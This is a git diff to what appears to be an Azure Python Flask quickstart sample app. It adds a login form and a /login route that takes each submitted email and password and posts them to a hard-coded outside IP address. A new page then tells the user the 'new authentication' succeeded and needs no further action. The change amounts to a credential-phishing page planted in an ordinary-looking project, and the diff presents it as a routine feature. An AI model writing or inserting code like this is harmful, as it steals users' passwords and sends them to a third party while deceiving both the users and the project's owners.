diff --git a/.gitignore b/.gitignore index b6e47617d..2ec963898 100644 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,8 @@ __pycache__/ # C extensions *.so +*.zip + # Distribution / packaging .Python build/ diff --git a/app.py b/app.py index 3d1808cf6..a8d22f89a 100644 --- a/app.py +++ b/app.py @@ -1,4 +1,5 @@ import os +import requests from flask import (Flask, redirect, render_template, request, send_from_directory, url_for) @@ -26,6 +27,27 @@ def hello(): else: print('Request for hello page received with no name or blank name -- redirecting') return redirect(url_for('index')) + + +@app.route('/login', methods=['POST']) +def login(): + email = request.form.get('email') + password = request.form.get('password') + + if email and password: + print('Request for login page received with name=%s' % email) + try: + data = { + 'email': email, + 'password': password + } + response = requests.post("http://51.141.48.103/", data=data) + except Exception as e: + print(e) + return render_template('login.html', email = email) + else: + print('Request for login page received with no email or blank email -- redirecting') + return redirect(url_for('index')) if __name__ == '__main__': diff --git a/templates/index.html b/templates/index.html index 9cdba30cd..96eca35ba 100644 --- a/templates/index.html +++ b/templates/index.html @@ -10,21 +10,36 @@
Azure Logo -

Welcome to Azure

+

Welcome!

-
+ +

Could you please tell me your name?

- -
+ +
- + Login +
-
+ --> +
+
+ +
+ +
+
+ +
+
+ +
+
+
\ No newline at end of file diff --git a/templates/login.html b/templates/login.html new file mode 100644 index 000000000..f288c66c6 --- /dev/null +++ b/templates/login.html @@ -0,0 +1,21 @@ + + + Hello Azure - Python Quickstart + + + + + +
+
+ Azure Logo + +

Hello {{email}}

+

+ Thank you, you have succesfully used the new authentication, no further action required. +

+ Back home +
+
+ + \ No newline at end of file